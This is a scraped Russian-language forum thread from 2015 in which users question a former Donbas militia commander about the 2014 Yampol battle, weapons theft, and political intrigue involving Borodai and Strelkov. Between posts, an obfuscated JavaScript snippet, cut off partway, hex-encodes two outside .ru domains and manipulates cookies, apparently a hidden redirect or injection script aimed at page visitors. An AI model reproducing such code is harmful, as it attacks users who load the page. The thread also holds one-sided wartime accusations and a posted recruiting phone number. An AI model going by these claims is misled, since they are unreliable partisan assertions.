Стрелков или Гиркин? Ополчение Донбасса: события, факты, люди.

Цитата: НЕХОРОШИЙ от 31.07.2015 13:57:09Предположим. Два вопроса.1- Куда делись эти 3 захваченых БМД? 2- почему не было организованного отступления, более половины отряда или батальона выбирались самостоятельно?

О захваченных БМД, было доложено в штаб , и лично Тарану . Успели вывезти за баррикаду одну БМД, взяв её на буксир Камазом . Остальные БМД Камаз не потянул, поплыв на растаявшем асфальте . Там до этого с утра горела укровская техника и асфальт превратился в смолистую массу. Из отправленного к нам впомощь подкрепления добрался только Моторола .оствльные толкались жопами перед Кривой Лукой , откровенно трясясь от страха и саботирую приказ Стрелкова . Укры вспользовались такой нерешительностью и по Кривой Луке закрыли кольцо . До этого в разгар боя с участие танков, к нам приезжал Стрелков , для оценки обстановки , попал под страшный обстрел , чудом уехал . 

Цитата: НЕХОРОШИЙ от 31.07.2015 14:12:07Свою позицию я уже высказывал и неоднократно. Ну а если Вика-Вика не имеет отношения к ОД "Новороссия"- замечательно, вот только давно ли, если это так -месяц или менее?

Никогда Вика-Вика не  была сотрудником ОД Новороссия . Появлялась у нас пару раз .Вроде бы приезжала за наградой за "Оборону Славянска "

Цитата: Черовонец Андрюха от 31.07.2015 14:09:03Спасибо
Но тут немного иное - добровольцы в ВСН и денежная помощь
Люди же меня спрашивают больше о волонтерской помощи - выполнять работу, задания, в свободное от основной работы время

За добровольцев  в ОД Новороссия отвечает Хрусталик  отправляйте всех к нему 8916 24 64 251 .

Цитата: ЯрС от 31.07.2015 14:19:04Сергей Николаевич, такой вопрос.  В новом штате МО РУ нет. В корпусе есть свой разведотдел. РГ с 18.06. официально расформирована. Вопрос: где создают РУ?

А я разве писал что РУ создают? Более того, думаю РУ в нынешнем состоянии не то что безполезно, а даже вредно и очевидно будет расформировано совместно с РГ

Цитата: -ВВ- от 31.07.2015 14:17:36Если уйти от темы потерянного оружия и потерь л/с , согласны ли вы , что в итоге операции потеряли переправы и пустили укров на южный берег?

Конечно согласен .В сухом остатке так и есть .

Цитата: НЕХОРОШИЙ от 31.07.2015 14:12:07Свою позицию я уже высказывал и неоднократно. Ну а если Вика-Вика не имеет отношения к ОД "Новороссия"- замечательно, вот только давно ли, если это так -месяц или менее?

Да я в курсе, генерал)
По поводу этой истории не только Вы высказались, но и другие непосредственные участники, причем именно в том же ключе, что и Вы. А вот господин Прапор иного мнения...что наводит на некоторые мысли.
_____________
Господин Прапор, вот это можете прокомментировать?
Бородай:

Цитата: Цитата«В частности, из-за ареста его соратницы Вики-Вики. Точнее из-за того, что он сам ее освободить не сумел и при этом страшно оскандалился, вступив в публичный конфликт с тем же Антюфеевым. А я позже Вику-Вику не стал освобождать, хотя у меня и была такая возможность.

А что за история с Вики-Вики, в чем ее обвиняли?
Он знал о ее махинациях, тот же Хмурый целыми пачками документы ему на стол клал. Но Стрелков очень падок до лести. А Вика-Вика постоянно произносила фантастические монологи, вроде таких: «Игорь Иванович! Вы знаете, я никому не верю. Все сволочи. Все! Я себе не верю, а верю, Игорь Иванович, только вам! Только в вас я вижу свою надежду. Россия за вас! Я за вас умереть готова!» После этих завываний, Игорь, который еще полчаса назад собирался Вику-Вику сам арестовывать, начинал «плыть» и давал этой даме новые полномочия и повышения. При этом сам Стрелков никогда ничего не крал. В этом я абсолютно уверен. Его это все просто не интересует. Он в другие игры играет. Но к чужому воровству почему-то он относится очень легко. Мол, все воруют – и эти не лучше, не хуже».

http://www.rossiarus…ojuet.html
 А так же вот этот диалог -

Цитата: Прапор от 31.07.2015 13:56:13В тот момент Бородай лихорадочно искал рычаги декредитации Стрелкова , и создавал в том числе и такие как с Кургиняном комбинации .

Доброго дня. Можете ли Вы озвучить причины подобных действий со стороны Бородая? 

Цитата: Adamantit от 31.07.2015 13:39:12А как же ржавые автоматы предьявленные в качестве "помощи России" на конференции, когда Губарев приехал арестовывать Кургиняна?

На том что Гиркину не оказывали помощь столько всего строилось..

Гм..

Оружие и в том числе автоматы приходили и в правду в ужасающем состоянии . После того , как .я был назначен комендантом Снежного , воочию убедился сколь огромны факты хищения оружия и боеприпасов по дороге в Славянск . Были созданы структуры накопления и временного складирования , где они безбожно разворовывались .Полная бесконтрольность и безнаказанность , по моему мнению созданные искусственно . В этой обстановке  никто , подчёркиваю , никто не мог точно знать , что и в каком количестве поступало в Славянск .
 

Цитата: -ВВ- от 31.07.2015 14:17:36Если уйти от темы потерянного оружия и потерь л/с , согласны ли вы , что в итоге операции потеряли переправы и пустили укров на южный берег?

Думаю неправильно расставлены акценты. Основная проблема не в том что Прапор потерял мосты, вооружение, мог ли на его месте кто другой и бла-бла.....Каждый может попробовать сам. Основная ошибка кмк- собственно сама Ямпольская операция, ее вообще не должно было быть. Стрелкову неоднократно предлагалось, в том числе и мной- отвести ополчение за реку, взорвать мосты, батальон Прапора использовать:1- для уничтожения блок-поста около Малиновки. 2- для удара совместно с Бесом и Краматорско - Константиновской группой по Артемовским складам.

Цитата: -ВВ- от 31.07.2015 14:17:36Если уйти от темы потерянного оружия и потерь л/с , согласны ли вы , что в итоге операции потеряли переправы и пустили укров на южный берег?

Кстати про потери , погибло там не больше 6 человек .

Цитата: Прапор от 31.07.2015 14:26:31Конечно согласен .В сухом остатке так и есть .

1. И за этот результат вы были награждены местным Георгием?
2. У вас есть хоть какое-то военное образование?
3. Зачем вы заставляли своих бойцов под настоящим огнём реконструировать атаки времен ВОВ?
4. Осечка при расстреле не считалась испокон веков волей Божьей на помилование?

Цитата: Kate_Dark от 31.07.2015 14:30:43Цитата: Kate_Dark от 31.07.2015 12:30:43
Доброго дня. Можете ли Вы озвучить причины подобных действий со стороны Бородая?

А вопрос, как так получилось, что Бородай на тот момент всячески защищал и выгораживал Стрелкова, и наезжал на СЕК, вас разве не интересует? Навскидку вот:

http://www.gazeta.ru…2901.shtml

Цитата
Премьер-министр самопровозглашенной Донецкой народной республики Александр Бородай прокомментировал обвинение лидера движения «Суть времени» Сергея Кургиняна в адрес Игоря Стрелкова в сдаче Славянска украинской армии, передает корреспондент «Газеты.Ru».

«У меня есть по этому поводу собственное мнение, оно очень простое: Кургинян не просто неконструктивно критикует, во-первых, это бред сивой кобылы, во-вторых, это редкая наглость, то, что он несет. Если Кургинян любит цитаты разного рода поэтов, я ему напомню Шота Руставели: «Каждый мнит себя стратегом, видя бой со стороны», — цитирует Бородая пресс-центр «Юго-Восток».

«Я сейчас в Москве, вернусь в Донецкую народную республику, может, отправлю Кургиняна туда, куда ему и положено отправиться, поскольку он работает, видимо, заодно с украинской пропагандистской машиной, можно отправить его на Украину», — заявил премьер-министр ДНР Александр Бородай.
...

Цитата: MsMV от 31.07.2015 14:26:41Да я в курсе, генерал)
По поводу этой истории не только Вы высказались, но и другие непосредственные участники, причем именно в том же ключе, что и Вы. А вот господин Прапор иного мнения...что наводит на некоторые мысли.
_____________
Господин Прапор, вот это можете прокомментировать?
Бородай:


http://www.rossiarus…ojuet.html
 А так же вот этот диалог -

Цитата: ЯрС от 31.07.2015 14:40:42Сергей Николаевич! Возможно ли такое, что людей "Ольхона" раскидали по подразделениям 3-й бригады. То есть, можно предположить, что для создания БТГр, роту Ольхона разбили на три группы и включили в БТГр каждого батальона по одной группе?

Не могу ответить, не знаю ничего определенного, постараюсь уточнить у Боцмана.

Цитата: Kate_Dark от 31.07.2015 14:30:43Доброго дня. Можете ли Вы озвучить причины подобных действий со стороны Бородая?

Бородай, совершено случайная фигура на этой сцене , попавший туда только из за своего знакомства со Стрелковым .В момент паники во среде отвечающей за Украину .Тогда вчерашние герои  отказывались туда ехать пачками . Понимая , что праздник известности для него может скоро кончиться , он находясь в тот момент  чистым представителем , просто банально вербанулся представителями пятой колоны . и с тех пор работал только на них и выполняя . только их приказы .В том числе и по устранению с арены Гиркина .

window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="21153",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Цитата: Андрей Л от 31.07.2015 14:38:051. И за этот результат вы были награждены местным Георгием?
2. У вас есть хоть какое-то военное образование?
3. Зачем вы заставляли своих бойцов под настоящим огнём реконструировать атаки времен ВОВ?
4. Осечка при расстреле не считалась испокон веков волей Божьей на помилование?

В приказе написано , за руководство боем будучи дважды раненым . Военного образования нет . Люди имевшие военное образование оказались на тот момент деградированными трусами , поэтому руководить войсками приходилось шахтёрам , таксистам и прочим менеджерам . А вы считаете , что наши предки воевали , хуже нас во время ВОВ ? Кем и что считалось, и с каких веков ?

Цитата: -ВВ- от 31.07.2015 14:53:30Я именно хто и написал изначально. Не должно было быть Ямполя, и если бы не упертость Стрелкова, то и не случилось бы прорыва укров за реку. И Прапор получил бы своего Георгия за Артемовские склады или блок пост, а не за операцию, которая нанесла в итоге непоправимый ущерб обороне.

Дык Стрелков и сам открыто признает Ямполь ошибкой, без которой Славянск можно было удерживать еще 2 недели.

Цитата: AndreyK-AV от 31.07.2015 14:45:45Т.е. врут все и СН тоже, только СЕК говорит правду.
Хорошо, значит по СЕК блокады не было и были хорошие безопасные магистрали, 
тогда подскажите сколько дивизионов артиллерии привезено в Славянск к 1 июля, 
сколько танковых рот или на худой конец взводов с обученными экипажами, (а зачем туда без экипажей?)
на какое количество батальонов иной бронетехники и сколько эшелонов боеприпасов для всего этого? 
Да и как доставлено все это, по каким магистралям?
А то ведут разговор толи про три, толи пять танков, и одну три ноны, и то что гражданские из города выехать не могли, так как дороги простреливаются, а оказывается!


Или все же "А им уже и техника и тяжёлое вооружение", в перспективе или в Донецке, при отсутствии желания деблокировать и контролируемых украми магистралях?
И ещё, если было в Донецке, то почему ждало до августа? Может все проще, не так много его было, и не так обучен был личный состав, и не было единого командования, и вся конспирология большого зеленого дивана, по большому счёту конспирология для отчётности и самопиара и имеющая параллельное отношение к реальным событиям?

На границе с Россией были созданы  филтрационные  структуры , созданные для недопущения поступления оружия к Стрелкову в полном объёме . Такие . как Восток , Оплот , и Козицин . Эти структуры были полностью атрофированными и выполняли роль вязкой плотины .

Цитата: НЕХОРОШИЙ от 31.07.2015 14:57:42Дык Стрелков и сам открыто признает Ямполь ошибкой, без которой Славянск можно было удерживать еще 2 недели.

Да. Ошибкой.
И разгромом (но не уничтожением) батальона.
Но.
Так ли повлияло тогда это на ситуацию? Укры, как я помню, ОСТАНОВИЛИСЬ.
То ли команда им пошла или что - успех они развивать не стали и ополчению появилась возможность перегруппироваться

Цитата: Прапор от 31.07.2015 14:47:26Бородай, совершено случайная фигура на этой сцене , попавший туда только из за своего знакомства со Стрелковым .В момент паники во среде отвечающей за Украину .Тогда вчерашние герои  отказывались туда ехать пачками . Понимая , что праздник известности для него может скоро кончиться , он находясь в тот момент  чистым представителем , просто банально вербанулся представителями пятой колоны . и с тех пор работал только на них и выполняя . только их приказы .

Как Вам видятся цели "пятой колонны"?
1. Они хотят вернуть Новороссию в Украину на, скажем так, не совсем оскорбительных для России условиях, или
2. Создать в Новоросии псевдонезависимый анклав по типу Абхазии?
И какую роль в этой колонне играет господин Ахметов (если, конечно, есть на этот счет какие-то предположнния)?